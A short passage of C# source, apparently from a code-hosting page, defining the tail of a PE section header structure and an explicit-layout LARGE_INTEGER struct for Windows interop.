public UInt32 PointerToRelocations; /*+0x018*/
|
||||
public UInt32 PointerToLinenumbers; /*+0x01c*/
|
||||
public UInt16 NumberOfRelocations; /*+0x020*/
|
||||
public UInt16 NumberOfLinenumbers; /*+0x022*/
|
||||
public UInt32 Characteristics; /*+0x024*/
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 1)]
|
||||
public struct LARGE_INTEGER {
|
||||
[FieldOffset(0)] public Int64 QuadPart; /*+0x000*/
|
||||
[FieldOffset(0)] public UInt32 LowPart; /*+0x000*/
|
||||
[FieldOffset(4)] public UInt32 HighPart; /*+0x004*/
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user